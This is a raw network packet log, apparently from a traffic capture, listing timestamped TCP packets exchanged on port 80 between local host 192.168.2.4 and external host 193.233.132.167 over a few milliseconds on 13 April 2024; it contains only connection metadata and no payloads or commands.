Apr 13, 2024 20:21:09.775434017 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775440931 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775470972 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775480986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775512934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775521994 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775551081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775557041 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775588989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775629997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775638103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775666952 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775688887 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775702953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775716066 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775741100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775753021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775780916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775794029 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775820971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775834084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775860071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775897026 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775902033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775934935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775949955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.775970936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.775979996 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776007891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776045084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776058912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776081085 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776093960 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776117086 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776137114 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776154995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776161909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776194096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776210070 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776237965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776251078 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776287079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776325941 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776344061 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776364088 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776382923 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776401043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776438951 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776477098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776513100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776550055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776585102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776621103 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776657104 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776693106 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776735067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776767015 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.776772022 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776808977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776844978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776881933 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776918888 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776953936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.776990891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777025938 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777062893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777098894 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777121067 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777137995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777158022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777174950 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777183056 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777211905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777221918 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777249098 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777256966 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777266979 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777285099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777292013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777302027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777318954 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777328968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777334929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777348995 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777354956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777369976 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777371883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777380943 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777390003 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777403116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777405977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777424097 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777430058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777440071 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777441025 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777456999 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777462006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777475119 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777486086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777493000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777509928 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777509928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777528048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777535915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777544975 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777561903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777564049 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777580976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777594090 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777597904 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777618885 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777622938 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777636051 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777645111 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777654886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777673006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777678967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777689934 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777708054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777713060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777724981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777733088 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777744055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777759075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777764082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777781010 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777786970 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777797937 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777813911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777817011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777833939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777848959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777852058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777868986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777878046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777885914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777904987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777906895 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777923107 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777929068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777940989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777960062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777964115 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777977943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.777981043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.777996063 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778007984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778012991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778031111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778033972 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778048992 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778059006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778073072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778083086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778089046 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778098106 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778106928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778114080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778125048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778131962 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778142929 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778157949 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778160095 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778175116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778177977 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778198957 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778199911 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778217077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778224945 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778238058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778240919 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778254986 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778256893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778271914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778276920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778289080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778304100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778306007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778321028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778325081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778342009 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778347969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778358936 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778371096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778376102 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778386116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778393030 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778400898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778410912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778418064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778429031 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778433084 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778445959 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778451920 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778465033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778482914 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778495073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778500080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778518915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778522968 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778536081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778546095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778554916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778570890 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778573036 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778589964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778597116 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778606892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778623104 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778624058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778641939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778646946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778659105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778676987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778686047 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778696060 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778707027 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778713942 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778728008 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778729916 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778748989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778755903 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778767109 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778779984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778784037 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778801918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778808117 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778827906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778832912 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778845072 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778862000 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778863907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778878927 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778879881 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778898001 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778901100 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778913021 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778914928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778933048 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778933048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778944016 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778949976 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778964043 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778968096 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778985023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.778990030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.778990030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779002905 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779015064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779019117 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779032946 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779036045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779046059 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779052973 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779062033 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779071093 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779082060 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779088974 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779097080 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779104948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779112101 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779122114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779134989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779139996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779145956 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779158115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779170036 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779175043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779189110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779191971 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779201984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779210091 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779217958 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779230118 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779237986 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779246092 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779247046 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779263020 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779268980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779279947 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779290915 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779298067 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779304028 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779315948 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779324055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779333115 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779334068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779350042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779355049 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779367924 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779375076 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779385090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779387951 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779402018 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779412031 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779418945 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779427052 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779436111 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779449940 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779453039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779464006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779472113 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779484034 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779488087 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779495955 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779505014 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779515982 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779522896 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779535055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779535055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779540062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779547930 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779557943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779573917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779573917 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779587030 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779592991 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779603004 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779612064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779622078 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779629946 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779632092 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779647112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779653072 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779664993 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779664993 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779681921 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779690981 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779700994 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779705048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779719114 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:09.779730082 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:09.779736996 CEST	80	49739	193.233.132.167	192.168.2.4
